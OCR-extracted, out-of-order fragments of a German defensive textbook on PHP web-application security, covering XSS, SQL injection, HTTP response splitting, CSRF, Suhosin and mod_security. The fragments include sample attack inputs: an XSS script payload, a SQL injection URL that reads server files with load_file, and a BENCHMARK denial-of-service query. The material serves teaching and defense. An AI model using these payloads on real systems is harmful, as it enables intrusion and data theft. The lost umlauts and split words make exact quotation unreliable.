118. Cheat Sheet Sl Nat rlich sind diese f nf Anwendungsbeispiele nicht die einzigen f r besonders XSS anf llige Applikationen Prinzipiell ist die Aussage Wenn es Benutzereingaben verarbeitet ist es gef hrdet zwar sehr verallgemeinernd aber nicht unpassend 4 10 Angriffe verschleiern XSS Cheat Sheet Um effektiv gegen XSS vorgehen zu k nnen m ssen Sie zun chst wis sen auf welche Arten ein Angreifer versuchen kann seinen Schadcode in Ihre Skripte zu injizieren Dazu hat ein Sicherheitsexperte namens RSnake eine sehr n tz liche Sammlung bekannter und weniger bekannter M glichkeiten zusammengestellt Anti XS S Filter zu berwinden das XSS Cheat Sheet Die schiere Anzahl dieser M glichkeiten best tigt die Forde rung potenziell gef hrliche Benutzereingaben nie zu filtern um sie g ltig zu machen sondern sie stets restriktiv zu behandeln Nicht Blacklists sondern Whitelists mit erlaubten Inhalten sind die Devise Einige der M glichkeiten Skripte per XSS an ungen gend imple mentierten Filtern vorbeizuschleusen m chten wir Ihnen nun pr sen tieren Der bekannteste Weg Skriptcode in eine fremde Seite einzuf gen ist sicherlich das ber chtigte lt script gt alert xss lt script gt Dieser Einzeiler erzeugt ein JavaScript Popup sofern die Wirtsseite f r XSS anf llig ist Sites die Anf hrungszeichen maskieren k nnen mit einer etwas l ngeren Konstruktion ausgetrickst werden und auch Null b
119. DD BZ i A Christopher Kunz Stefan Esser PHP Sicherheit PHP MySQL Webanwendungen sicher programmieren dpunkt verlag PHP Sicherheit Christopher Kunz ist Mitinhaber der Filoo GmbH die Housting Housing und Consulting anbietet Er hat bereits mehrere Dut zend Artikel ber allerlei PHP Themen verfasst und war als Refe rent auf mehreren PHP Konferenzen zu sehen Christopher Kunz lebt in Hannover und arbeitet dort nach seinem Studium an einer Promotion im Fach Informatik Stefan Esser ist Gr nder und Sicherheitsberater der SektionEins GmbH aus K ln die sich ausschlie lich mit der Sicherheit von Webapplikation befasst Er ist bekannt f r zahlreiche Advisories zur Sicherheit von weitverbreiteter Software wie Linux Samba Subversion MySQL und PHP Stefan Esser ist seit 2002 an der Ent wicklung von PHP beteiligt und ist auch der Autor der PHP Sicherheitserweiterung Suhosin Nebenbei schreibt er Artikel ber PHP Sicherheit f r das PHP Magazin und PHP Architect Christopher Kunz Stefan Esser Peter Prochaska PHP Sicherheit PHP MySQL Webanwendungen sicher programmieren 3 aktualisierte Auflage ra dpunkt verlag Christopher Kunz info christopher kunz de Stefan Esser sesser hardened php net Peter Prochaska peter prochaska gmail com Lektorat Ren Sch nfeldt Copy Editing Ursula Zimpfer Herrenberg Herstellung Birgit B uerlein Umschlaggestaltung Helmut Kraus www exclam d
120. Das sollten Sie und auch Ihre Vor gesetzten sich stets vor Augen f hren wenn es darum geht auf Kosten der Sicherheit zu sparen Manager Leitsatz Sicherheit bedeutet nicht immer mehr Umsatz aber keine Sicherheit f hrt zu Umsatzeinbu en 1 7 Wichtige Informationsquellen Dieses Buch bem ht sich Ihnen einen berblick ber die heute bekannten Angriffsklassen bei webbasierten Applikationen zu ver schaffen kann jedoch nie auf dem neuesten Stand sein Serveradminis tratoren und PHP Entwickler sollten daher andere Informationsquel len nutzen um stets up to date zu sein Das betrifft sowohl ganz konkrete L cken in PHP Applikationen als auch generelle Techniken und Konzepte So tauchte etwa im Jahr 2005 die Angriffsklasse HTTP Response Splitting erstmals auf die zuvor v llig unbekannt war und daher auch nur von wenigen Anwendungen abgefedert wurde Derlei neuartige Angriffsmuster werden oft zun chst theore tisch in einer Ver ffentlichung diskutiert bevor sie praktisch imple mentiert und schlie lich von Scriptkiddies aus aller Herren L nder ausgenutzt werden Informieren Sie sich auf Mailinglisten in Foren Blogs und Newsgruppen ber aktuelle Security Trends 1 7 1 Mailinglisten Das Gros dieser Diskussionen findet auf den Mailinglisten BugTrag Full Disclosure und WebAppSec statt Insbesondere die ersten beiden Listen gelten als die besten Adressen f r die neuesten Exploits und Fehler jeder Serveradm
121. Datei geloggt werden Diese Datei sollte in regelm igen Abst nden berpr ft und die Fehler berei nigt werden Eine selbst implementierte Fehlerbehandlung kann helfen die bersicht ber die Fehler und die Log Dateien zu behalten und gegebe nenfalls E Mails an den Entwickler zu verschicken Dabei k nnen auch Fehlermeldungen ausgegeben werden die aber nicht zu viele Informationen enthalten sollten Auf keinen Fall sollte man den Fehler begehen komplette SQL Anfragen in den Fehlermeldungen auszuge ben Eine Fehlermeldung mit einer Fehlernummer und einer kurzen Beschreibung ist vollkommen ausreichend F r die Entwicklung wird empfohlen das Error Reporting in der php ini auf E ALL zu setzen um alle eventuellen Fehler schon im Vorfeld zu erkennen und schlie lich zu beseitigen 33 2 HTTP Response Splitting HTTP Response Splitting ist eine relativ neue Angriffsklasse Sie erm g licht es Webseiten mithilfe von gef lschten Anfragen zu verunstalten Dabei nimmt der Angreifer nicht direkt auf den Webserver Einfluss sondern manipuliert Systeme die dem Webserver vorgeschaltet sind Ein Proxy Server ein Cache Server sogar der Browser selbst sind sol che vorgeschalteten Systeme Des Weiteren sind Cross Site Scripting oder Phishing Attacken ber HTTP Response Splitting m glich Alle diese Angriffe funktionieren unabh ngig davon welcher Browser oder welcher Webserver verwendet werden Es muss nur eine Schwachstelle in einer Applikat
122. EATE PROCEDURE shopping checkUserLogin IN in_login varchar 20 BEGIN declare existing id integer select id into existing_id from user where login in_login limit 1 IF existing_id THEN select existing_id ELSE insert into user set login in_login select id from user where login in_login END IF END 5 6 Fazit Auf Stored Procedures k nnen verschiedene Benutzer differenzierte Rechte besitzen In diesen Konstrukten sind SQL Injection Angriffe fast unm glich Eine theoretische Chance besteht jedoch weiterhin 5 6 Fazit Es gibt viele M glichkeiten eine Applikation ber eine SQL Injection Schwachstelle anzugreifen Es gibt aber auch auf der anderen Seite viele Wege Angriffe auf Datenbanken zu verhindern Bei Verwendung einer Datenbank muss schon bei der Entwicklung besonderer Wert auf Sicherheit gelegt werden Dies kann durch Security Konzepte oder aber durch externe Berater bereits vor der Entwicklung geschehen Stored Procedure in MySQL 6 Authentisierung und Authentifizierung Die kritischste Stelle in Ihrer webbasierten Applikation ist mit Sicherheit der Login Bereich F r einen Angreifer ist die Aus sicht an sensitive Daten zu gelangen oder Aktionen mit admi nistrativen Privilegien ausf hren zu k nnen verlockender als fast jede andere angreifbare Stelle Ihrer Webapplikation Daher sollten Sie f r Login Formulare und die mit ihrer Hilfe erfol gende Authentisierung und Authentifizierung besonde
123. Ein Angreifer kann nun diese einzelnen Parameter ver ndern um sich Vorteile beim Einkauf zu verschaffen Um solche Angriffe zu verhindern sollten solche sensitiven Daten nicht in einem Cookie gespeichert werden Daf r sollte der Session Mechanismus von PHP verwendet werden Dieser speichert lediglich die Session ID in einem Cookie aber die sensitiven Informationen werden auf dem Server gespeichert und sind so f r einen Angreifer nicht erreichbar 3 3 7 Manipulation von Formulardaten Wenn ein Benutzer einer Applikation eine Selektion in einem Formu larfeld macht werden diese Daten in Variablen gespeichert und per POST oder GET mittels eines HTTP Requests an den Webserver geschickt Bei Formularen gibt es die M glichkeit Daten die nicht angezeigt werden sollen in Hidden Feldern zu speichern Diese werden aber genauso bei einem Submit an den Webserver bermittelt Diese Inhalte k nnen beliebig am Client ge ndert werden und so gef lscht an den Server bermittelt werden In den meisten F llen reicht die Spei cherung des Formulars auf der Festplatte des Angreifers um die Einga bem glichkeiten des Formulars zu ver ndern Dabei k nnen Attribute wie maxlength readonly oder eine eventu elle Vorbelegung des value Attributes entfernt werden Hidden Form Felder sind ein beliebter Weg um Daten von einer auf die andere Webseite zu transportieren Dabei m ssen auf jeder Seite alle Variab len gepr ft werden denn diese k nne
124. Error Apache has not been designed to serve pages while running as root There are known race conditions that will allow any local user to read any file on the system If you still desire to serve pages as root then add DBIG SECURITY_HOLE to the EXTRA_CFLAGS line in your src Configuration file and rebuild the server It is strongly suggested that you instead modify the User directive in your httpd conf file to list a non root user Der mit DBIG_SECURITY_HOLE konfigurierte Webserver wird diese Feh lermeldung nicht mehr ausgeben und l uft ohne Probleme mit Root Rechten Nach der erneuten Konfiguration des Webservers muss er noch mittels make und make install neu bersetzt werden bevor die Installa tion von mod_suid beginnen kann Auf der Homepage des Projektes mod_suid k nnen Sie den rela tiv kleinen Tarball des Moduls herunterladen ihn packen Sie wie gewohnt in Ihr bliches Quellenverzeichnis aus Danach f hren Sie 240 10 PHPintern einfach das Kommando make aus und das Modul wird automatisch bersetzt und in der Serverkonfiguration integriert Um das Modul benutzen zu k nnen m ssen Sie nun noch in jeden VirtualHost Block entsprechende Direktiven f r die Konfiguration einf gen lt IfModule mod_suid c gt SuidEnable yes SuidPolicy user group Suid user httpd Suid group nogroup lt IfModule gt Mit diesen Konfigurationsanweisungen stellen Sie im Grunde den Sta tus quo wieder her indem die vorherigen B
125. Filter Extension f r PHP k mmert sich nicht darum ob ein URL f r den Betrachter verd chtig wirken k nnte sondern interessiert sich lediglich f r die syntaktische Korrektheit Der Filter FILTER_ VALIDATE_URL ist daf r zust ndig URLs auf Korrektheit zu pr fen Standardm ig sind diese beiden Filter jedoch sehr wenig restriktiv sodass auch ein String wie foobar blah als g ltiger URL durchgehen k nnte Um sie f r den vermutlichen Haupteinsatzzweck n mlich die Syntaxvalidierung von HTTP oder FTP URLs zu verwenden sollten Sie die Filter strenger konfigurieren Sie k nnen zu diesem Zweck mit einigen zus tzlichen Flags aufgerufen werden FILTER_FLAG_SCHEME REQUIRED ist ein URL Schema http ftp etc notwendig FILTER_FLAG_HOST_REQUIRED muss ein Host angegeben werden FILTER_FLAG_PATH_REQUIRED muss der URL einen Pfad enthalten ein einfacher am Ende des URL gilt als Pfad FILTER_FLAG_QUERY_REQUIRED wird ein Query String erwartet Um einen HTTP URL sinnvoll zu pr fen sollten mindestens die bei den Flags FILTER_FLAG_SCHEME REQUIRED und FILTER FLAG HOST REQUIRED gesetzt sein Damit sieht ein Aufruf f r den validierenden Filter FILTER_VALIDATE_URL in etwa aus wie folgt filter_var http 12345 67890 1234567890 31337 123 432 FILTER_VALIDATE_ URL array flags gt FILTER_FLAG_SCHEME REQUIRED FILTER_FLAG_HOST_REQUIRED Da der bergebene Beispiel URL syntaktisch g ltig ist wird er vom valid
126. I_SYSTEM Steht diese Option auf on werden das HTTP oder FTP Protokoll bei Dateifunktionen unterst tzt B 10 allow_url_include M gliche Einstellungen On Off Voreinstellung On Bereich PHP_INI_SYSTEM Version Ab 5 2 0 Ist diese Option aktiviert k nnen Remote Dateien per include include_once require oder require_once nachgeladen werden 319 C Liste aller Schwachstellen mit Gefahrenpotenzial Bewertung C 1 Cross Site Scripting Beim Cross Site Scripting XSS wird Code aufseiten des Clients ausge f hrt etwa dem Webbrowser oder E Mail Programm Daher muss der Angreifer seinem Opfer einen pr parierten Hyperlink zukommen las sen den er zum Beispiel in eine Webseite einbindet oder in einer Mail versendet Es werden h ufig URL Spoofing Techniken und Codie rungsverfahren eingesetzt um den Link unauff llig oder vertrauens w rdig erscheinen zu lassen Schadenspotenzial auf dem Server gering Ausnutzung einfach Imageschaden mittel C 2 Information Disclosure Von einer Information Disclosure spricht man wenn man durch Fehlererzeugung oder sonstige Schwachstellen an Informationen ber die Applikation gelangt Dies k nnen SQL Abfragen in Fehlermeldun gen oder auch Benutzernamen sein Schadenspotenzial auf dem Server gering Ausnutzung einfach Imageschaden mittel 320 C Liste aller Schwachstellen mit Gefahrenpotenzial Bewertung
127. K rze auf die grunds tz liche Syntax bei den in mod_security verwendeten Regular Expressi ons kurz RegEx eingehen Als Begrenzer f r eine RegEx wird in mod_security das doppelte Anf hrungszeichen verwendet Slashes m ssen daher nicht maskiert werden Ansonsten sind die blichen Klassifikationen m glich Mit der Regel bin per1 wird also der exakt gleich lautende String gefun den aber auch nur dieser Eine Variation der Verzeichnisse kann der 286 12 Webserver Filter f r Apache Prim raktionen Sekund raktionen Administrator mit einer Auswahl verschiedener M glichkeiten in Klammern abgetrennt mit dem Pipe Zeichen erreichen Demnach k nnte also mit bin sbin opt perl sowohl der Pfad bin per als auch sbin perl oder opt perl erkannt werden Wehrhaft Filteraktionen F r jede Regel in mod_security k nnen Sie eine durchzuf hrende Aktion definieren Sobald ein Filter auf den Suchraum zutrifft f hrt das Modul die mit diesem Filter zusammenh ngende Regel aus das reicht von einem simplen HTTP Statuscode bis hin zur Ausf hrung von externen Skripten und Dateien Folgende Aktionen existieren in mod_security Prim raktionen entscheiden ber die Weiterbearbeitung der Filter pass Einen Request auf den der Filter zutrifft durchlassen Haupts chlich n tzlich in Verbindung mit der Aktion log um den Request in die Log Datei aufzunehmen Beispiel SecFilterSelective REMOTE_IDENT ab
128. Konfigurationsschalter Dieser kann in der php ini in Virtual Host Bl cken und in PHP vor Version 4 3 4 an jeder Stelle auch inner halb von PHP Skripten untergebracht werden Die Direktive allow_url_fopen steuert die bergabe von URLs an jede auf fopen basierende Funktion bzw an jedes entsprechende Konstrukt also include require require_once fopen usw Es gibt jedoch auch durchaus legitime Anwendungen von URL Includes sodass die globale Deaktivierung der Datei ffnung per PHP oft zu weit greift Sie verhindert das ffnen von per HTTP HTTPS und FTP bereitgestellten Dateien M chten Sie fopen auf URLs zulassen jedoch die Inklusion von Remote Dateien verbieten sollten Sie die Suhosin Extension verwenden allow_url_fopen kann entweder on oder off sein in php ini sieht diese Direktive folgenderma en aus allow_url_fopen off 10 9 Code Sandboxing mit runkit 229 10 8 9 allow_url_include Um die Probleme mit der Direktive allow_url_fopen zu l sen wurde in PHP 5 2 0 eine abgemilderte Variante eingef hrt allow_url_include Diese Einstellung verh lt sich genauso wie allow_url_fopen mit der wichtigen Einschr nkung dass ausschlie lich die Sprachkonstrukte include include_once require und require_once betroffen sind Damit bietet diese Direktive eine hnliche Funktion wie sie die Suhosin Extension des Hardened PHP Teams schon l nger implementiert Wie ihr lteres Gegenst ck kann auch die Einstellung allo
129. L nge des ersten Parameters des Origi nal SQL Statements zur ckliefert In unserem Beispiel sind das 60 Byte M chten wir nun die restlichen Bytes aus der Datei ebenfalls bekommen m ssen wir uns mit der MySQL Funktion substring behelfen http mysql example com query php user 1 uniontselect substring load_file 0x633a2f626f6f742e696e69 60 1 1 Dieses SQL Statement liest die n chsten 60 Byte substring ab der Position 60 aus und gibt diese zur ck So muss man sich nun durch die Datei arbeiten bis man alle Daten erhalten hat LOAD_FILE arbeitet auch mit bin ren Daten also kann man sich auch bin re Dateien vom Server bertragen lassen 5 4 2 Denial of Service mit SQL Injection Ist das Auslesen von Daten mithilfe einer SQL Injection nicht m glich ist der MySQL Server vielleicht doch f r einen weiteren Angriff anf l lig Denial of Service bedeutet dass der Dienst nicht mehr oder fast nicht mehr zur Verf gung steht Dies wird mit teuren Requests erreicht Von teuer spricht man wenn ein SQL Statement sehr lange dauert und dabei viel Prozessorzeit in Anspruch nimmt MySQL hat keine sleep oder wait Funktion deshalb muss man sich anders behelfen Die BENCHMARK Funktion von MySQL testet die Zeit wie lange ein SQL Statement zur Ausf hrung ben tigt Als Parameter erwartet die Funktion die Anzahl der durchzuf hrenden Benchmark Durchl ufe und eine Anweisung etwa so SELECT BENCHMARK 100000000 shal
130. M chten Sie alle HTML Tags bis auf lt a gt lt div gt lt img gt und lt pre gt verbieten erreichen Sie das mit dem Funktionsaufruf stripped_html strip_tags html lt a gt lt div gt lt img gt lt pre gt Aus einem HTML Block wie lt div gt lt a href http www foobar de gt lt u gt foo lt u gt lt a gt lt b gt blah lt b gt lt pre gt fasel lt pre gt wird mit der oben genannten Funktion Folgendes lt div gt lt a href http www foobar de gt lt u gt foo lt u gt lt a gt blahfasel Nachdem Sie alle Tags entfernt haben die in jedem Fall unerw nscht sind ist es Zeit mit einem geeigneten Parser s mtliche restlichen uner w nschten Attribute und Tags zu entfernen Die Klassensammlung SafeHTML verf gt ber einen solchen Parser auf Basis der PEAR Klasse XML_HTMLSax3 und gilt als ein gutes Mittel gegen XSS 3 http pixel apes com safehtml 4 http pear php net package XML_HTMLSax3 100 4 Cross Site Scripting H rtetest f r den Filter Weitere Implementierungen von XSS Filtern k nnen Sie z B aus dem CMS BitFlux oder durch das Horde Project beziehen SafeHTML wird in einer ZIP Datei zum Download angeboten und enth lt neben der XSS Bereinigungsklasse den SAX3 Parser der auch direkt ber PEAR bezogen werden kann Da der Parser von SafeHTML ben tigt wird m ssen Sie der Klas senbibliothek zun chst den korrekten Pfad mitteilen am besten installieren Sie zun chst Sax3 i
131. P Code in einer sogenannten Sandbox also einer von der restlichen PHP Installation abgeschotteten Umgebung mit besonderen Ein schr nkungen ausf hren Dabei k nnen Sie dem PHP Sandkasten 3 http pecl php net package runkit Neu seit PHP 5 2 0 230 10 PHPintern Testskript f r runkit diverse sicherheitsrelevante Einstellungen wie den Safe Mode open_ basedir und deaktivierte Funktionen bergeben PHP Code kann dann in der blichen objektorientierten Notation ausgef hrt werden jede PHP Funktion ist nun eine Methode des instanziierten Sandbox Objekts Um die Sandbox benutzen zu k nnen ben tigen Sie entweder PHP 5 1 oder PHP 5 0 4 das vorher mit einem speziellen Patch f r Thread Sicherheit behandelt werden muss und entweder Apache 1 oder 2 Sie k nnen die Extension entweder direkt aus PECL mit dem Kommando pecl install runkit beta installieren oder sie selbst kompilieren Dazu laden Sie das Archiv von der PECL Projekthomepage herunter passen es an Ihre PHP API Ver sion an und konfigurieren und bersetzen es als dynamisch gelinktes Modul PHP_PATH usr local bin PHP_PATH phpize configure enable shared with php config PHP_PATH php config make amp amp make install Danach f gen Sie die Extension in der php ini hinzu extension usr local lib php extensions no debug zts 20050617 runkit so und k nnen die Extension nach dem n chsten Webserver Neustart bei der CGI Version von PH
132. P Entwickler entweder als freiberuflicher Pro grammierer oder als Angestellter in einem Unternehmen M chten Sie Ihre bestehenden PHP Anwendungen sichern oder eine neue Anwen dung mit besonderem Augenmerk auf die Sicherheit entwickeln wer den Sie feststellen dass dies mit h herem Aufwand verbunden ist als das Skript einfach herunterzuhacken Ihr Auftrag oder Arbeitgeber muss diesen Aufwand finanzieren und Sie m ssen begr nden k nnen warum diese Zusatzkosten zwingend notwendig sind Was f r Sie v llig einleuchtend sein d rfte schlie lich h tten Sie sonst nicht dieses Buch gekauft ist Managern oder Projektleitern oft leider nicht ganz so leicht zu vermitteln Insbesondere in Unternehmen deren Hauptgesch ftsfeld nicht die IT ist ist die Security Awareness also das Sicherheitsbewusstsein oft nur ungen gend ausgepr gt Das u ert sich in Problemen wie per Post It Haftnotiz am Monitor befestigten Passw rtern aber auch in einer gewissen Naivit t f r Applikationssicherheit F r Manager z hlt haupts chlich wie sich eine Ausgabe rechnet Ergibt sich nach Gegenrechnung aller Kosten noch immer ein Gewinn 7 http www iso org 1 6 Wie verkaufe ich Sicherheit nl f r das Unternehmen sind Ausgaben leicht zu vermitteln Sicherheit bringt allerdings direkt keine zus tzlichen Ums tze ist also zun chst als Kostenfaktor ohne Gewinn einzustufen Genauer betrachtet stimmt das nat rlich nicht das
133. P sogar sofort benutzen Mit den Funktionen und Methoden der Extension k nnen Sie nun eine neue Sandbox erstellen und in dieser beliebigen PHP Code aus f hren sandbox new Runkit_Sandbox array safe_mode gt on open basedir gt home www htdocs disabled_functions gt mysql_pconnect shell_exec passthru sandbox gt testvariable Test sandbox gt echo sandbox gt testvariable Test echo sandbox gt testvariable auch Test sandbox gt eval foo blah var_dump foo Die Sandbox gibt Ihnen die M glichkeit Skripte oder potenziell angreifbare Skriptteile vom Rest der Anwendung abzuschotten ihnen sogar ein eigenes open_basedir zu geben und so den m glichen Schaden durch Angriffe zu minimieren Sie ist nicht dazu geeignet einen zus tz lichen Sicherheitsmechanismus gegen b swillige Angreifer von innen zu schaffen aber k nnte dazu verwendet werden beispielsweise Funk tionen die eventuell sch dlichen Code als Parameter entgegennehmen 10 10 Externe Ans tze 231 m ssen zu sichern Erhalten Sie Code in einer Variablen um ihn etwa ber die Funktion eval auszuf hren k nnen Sie ihn mit der Funk tion runkit_lint auf korrekte Syntax berpr fen Au er dem als Sandboxing bekannten Feature k nnen Sie ber runkit noch einige andere praktische und sicherheitsrelevante Aktio nen ausf hren So ist es m glich eigene Variablen per php ini als superglobal wie _GET _POST zu mar
134. R _ FLAG_ALLOW_OCTAL M chten Sie sowohl hexadezimale als auch Oktalzahlen zulassen k nnen Sie die beiden Konstanten kombinieren options array options gt array flags gt FILTER FLAG ALLOW HEX FILTER_FLAG_ALLOW OCTAL 9 6 Boolesche Werte 201 Auch wenn der Funktion filter_var Oktal oder Hexadezimalzah len bergeben werden sind die R ckgabewerte stets im Dezimalsys tem aus Oxff wird also 255 Entwickler die viel mit Float Werten arbeiten und diese auch ausge ben m ssen wissen um die durch verschiedene Dezimalzeichen entste henden Probleme hnlich der PHP Funktion number_format k nnen Sie den Float Filtern von ext filter mittels einer Option mitteilen ob ein Punkt ein Komma oder ein anderes Zeichen daf r genutzt werden soll options array options gt array decimal gt 9 6 Boolesche Werte Um Variablen in boolesche Wahrheitswerte umzuwandeln k nnen Sie in PHP den Cast Operator boolean verwenden Allerdings wird die ser alle Werte ungleich 0 oder FALSE zu TRUE umwandeln was in Webanwendungen nicht immer sinnvoll ist Der Filter FILTER_ VALIDATE_BOOLEAN pr ft ob die bergebene Variable einem sprachlichen Konstrukt entspricht das zu TRUE oder FALSE umge wandelt werden k nnte Er gibt TRUE zur ck falls das Argument ent weder TRUE 1 on oder yes lautet Falls ihm FALSE 0 off oder no bergeben werden lautet der R ckgabewert FALSE In allen an
135. RS 4 einem Fehler dieser Klasse quittiert Werden Verst e gegen den Schutz f r hoch S_FILES 8 geladene Dateien etwa Viren festgestellt wird dieser Fehler erzeugt S mtliche Include Angriffe wie Remote URL SINGLOVE 16 Inklusionen geh ren zu diesem Fehlertyp Dieser Fehler wird von fehlerhaften SQL Queries al 92 erzeugt Verst e wie die Verletzung der maximalen S_EXECUTOR 64 Rekursionstiefe oder des harten memory_limit f hren zu einem Fehler dieser Klasse S mtliche Angriffe gegen mai1 zum Beispiel SMAIL 128 injizierte Header erzeugen diesen Fehler S SESSION 256 Diese Fehlerklasse beeinhaltet alle Fehler die vom transparenten Session Schutz geloggt werden S_ALL 512 Die Kombination aller Fehlerklassen wird geloggt hnlich den Logging Optionen in PHP selbst definieren Sie f r die Direktive suhosin log syslog eine Bitmaske Beachten Sie allerdings dass die Konstanten nur unterst tzt werden falls der Suhosin Patch installiert ist Dies ist durch eine Schw che des php ini Parsers begr n det M chten Sie andere Fehler als die im Auslieferungszustand ins Syslog geschriebenen Fehlerklassen S_ALL amp S_SQL alle Fehler au er SQL Fehlern per Syslog aufnehmen m ssen Sie eine entspre chende Maske aufstellen Dazu verbinden Sie alle Fehlerklassen die geloggt werden sollen mit einem Pipe Symbol I M chten Sie nur einzelne Fehler nicht per Syslog mitschreiben
136. Register Globals Emulationen die Request Variablen in den globalen Namens raum geschrieben wurden Dabei bersahen die Entwickler aber v llig dass Angreifer so auch die wichtigen superglobalen Arrays modifizie ren konnten Aus diesem Grund filtert Suhosin alle reservierten Vari ablennamen aus dem Request 11 1 Warum PHP h rten 253 11 1 9 SQL Intrusion Detection Um SQL Injection Angriffe feststellen zu k nnen werden alle fehl geschlagenen SQL Abfragen der Extensions MySQL MySQLi fbsql pgsql und SQLite auf Wunsch in eine Log Datei geschrieben das Skript kann nach einer fehlgeschlagenen Query auch automatisch abgebrochen werden um SQL Injections zweiter Ordnung keine Chance zu geben 11 1 10 Logging Angriffe gegen Ihre Webinfrastruktur stellen meist Straftaten dar und sollten zus tzlich zu Ma nahmen wie IP Blocking auch mit den entsprechenden rechtlichen Mitteln und durch Abuse Meldungen ver folgt werden Damit Sie ausreichende Informationen ber die Art und den Ursprung der Angriffe bekommen f hrt Suhosin genau Buch ber geblockte Attacken dabei wird die IP des Angreifers das angegriffene Skript und die Art des Angriffs festgehalten Sogar die Programmzeile die zu dem Alarm f hrte wird mitgeschrieben sodass Sie genau fest stellen k nnen wo der Angreifer einen Einbruchsversuch unternom men hat Verwenden Sie einen Reverse Proxy z B f r Loadbalancing oder Servercluster k nnen Sie die dem Proxy g
137. S und hostbasierte Intrusion Detection Systeme HIDS ISO International Standards Organisation weltweite Organisation zur Stan dardisierung Legacy Code Legacy kommt vom englischen Begriff f r Erbe und bezeichnet bereits vorhandenen etablierten Code bzw Programmierpraxis MD5 Ein Hashing Algorithmus siehe oben OSI Modell Das OSI Modell eigentlich Open Systems Interconnection Reference Model ist ein in Schichten aufgeteiltes Modell das die Kommunikation informationsverarbeitender Systeme vereinheitlicht Typisch f r die Infor mationsverarbeitung bei Internetsystemen ist ein siebenschichtiges Modell bei dem Daten nur zwischen zwei direkt benachbarten Schichten hin und 328 D Glossar hergereicht werden Die unterste Ebene stellt dabei die rein physikalische Schicht dar die lediglich elektrische Signale austauscht je weiter oben im OSI Modell sich eine Ebene befindet desto h her wird der Abstraktions grad Ganz oben im OSI Modell stehen beispielsweise Dienste wie HTTP POP3 oder SSH PEAR PHP Extension and Application Repository h lt eine gro e Kollektion von Erweiterungen und Anwendungen f r PHP vor Installation ber ein Kom mandozeilentool oder grafisches Frontend PECL Die PHP Extension Collection Library PECL war fr her Bestandteil von PEAR und h lt nun als eigenst ndige Seite diverse PHP Extensions bereit die nicht Bestandteil der offiziellen PHP Distribution sind Phishing Phishing i
138. ST Variablen Schlie lich werden in Cookies normalerweise nur recht kurze Variablen regis triert keine berlangen oder sehr tiefen Arrays keine sehr langen Variablennamen oder Array Schl ssel Die im Folgenden empfohlenen Defaultwerte zu halbieren ist f r Cookies nicht zu tief gegriffen In den n chsten Konfigurationsbeispielen verwenden wir stets den Scope request an dessen Stelle Sie genauso auch get post oder cookie setzen k nnen 11 5 Konfiguration 269 Mit Suhosin k nnen Sie die Tiefe von Arrays k nstlich begrenzen Wie tief ein Array ist wird dadurch bestimmt wie viele Dimensionen es hat und nicht wie viele Werte enthalten sind Das Array bei spiel test x y zum Beispiel w re dreidimensional Mit dieser Schutzma nahme soll verhindert werden dass ein in PHP enthaltener Stack Overflow durch sehr stark verschachtelte Arrays ausgel st wird Die maximale Array Tiefe wird mit dem Parameter suho sin request max_array depth bestimmt der Standardwert f r diese Direktive ist 100 Damit werden maximal hundertdimensionale Arrays als GET POST oder Cookie Parameter zugelassen In den meisten F llen besteht keine Notwendigkeit den Standardwert zu ndern Arrays mit einer Tiefe von mehr als 100 Dimensionen werden nur in sehr wenigen Anwendungsf llen vorkommen Sie k nnten eher Anpassungen nach unten vornehmen 50 dimensionale Arrays stellen selbst bei sehr tiefen Baumstrukturen eine
139. T Anfragen zu Das als Angriffsort dienende Forum l sst HTML und Image Tags ohne genaue Pr fung zu Nur die Kombination dieser drei Sicherheitsprobleme machte einen erfolgreichen CSRF Angriff berhaupt m glich so scheint es ver st ndlich dass XSS die wesentlich h ufigere Angriffsvariante ist 4 18 1 CSRF als Firewall Brecher hnlich wie beim Cross Site Scripting kann CSRF auch als Firewall Brecher auf Anwendungsebene dienen und daf r sorgen dass in einem internen Netzwerk ungewollte Vorg nge angesto en werden Ein weiteres Beispiel soll dies verdeutlichen Stellen Sie sich einen gro en Verlag vor der eine erfolgreiche Web site f r Nachrichten aus aller Welt betreibt F r Mitarbeiter dieses Ver lages existiert im lokalen Netzwerk des Verlagshauses ein CMS ber das diese Artikel angelegt und gesichert werden k nnen Das CMS ist ber das WWW nicht zug nglich und Artikel k nnen nur ber diesen Weg erstellt werden Da das CMS nur ber das LAN zug nglich ist und somit nur Mit arbeiter des Verlages berhaupt per HTTP zugreifen k nnen sind die Administratoren nicht so streng was die Sicherheit des Produktes angeht so ist die Version etwas veraltet und anf llig f r diverse Sicherheitsprobleme Au erdem ist die Rechteverwaltung unzurei chend jeder Autor kann Artikel anderer Autoren ndern Gelingt es dem Angreifer einen Redakteur des Verlags auf seine per CSRF pr parierte Seite zu locken kann er b
140. The use of unprotected clear text elec tronic mail messages should be avoided Damit scheidet eine E Mail mit dem Inhalt Hallo Ihr Passwort lautet XYZ123 aus obgleich sich viele nicht daran halten Versenden Sie Passw rter nie per E Mail Stattdessen sollten Sie dem Benutzer das Passwort direkt nach der Anmeldung anzeigen und ihn darauf hinweisen dass er es sich notie ren und gut aufbewahren sollte Ein JavaScript Link zum Drucken der aktuellen Seite ergibt hier durchaus Sinn 6 2 3 Benutzernamen und Kennungen Ein Login ist nur dann einigerma en sicher wenn er aus zwei unab h ngig voneinander schwer zu ermittelnden Komponenten besteht Ist bereits eine dieser Komponenten bekannt muss der Angreifer wesent lich weniger Arbeit erledigen um ein Benutzerkonto zu knacken schlie lich ist eine H lfte oder mehr seiner Aufgabe bereits erledigt Besonders bei Hosting Firmen und bei webbasierten E Mail Kon ten ist der Benutzername meist sehr leicht zu erraten er ist h ufig mit der zu verwaltenden Domain bzw der E Mail Adresse identisch Angreifern wird damit die Attacke unn tig erleichtert insbesondere wenn sie aus anderen Quellen bereits gro e Mengen der notwendigen Benutzernamen erhalten haben Mehrere Millionen Hotmail Adressen zu bekommen ist schlie lich kein Kunstst ck man muss sich nur eine der auf dem grauen Markt erh ltlichen Adress CDs besorgen und kann mit dem Bruteforcing beginnen i52 6 A
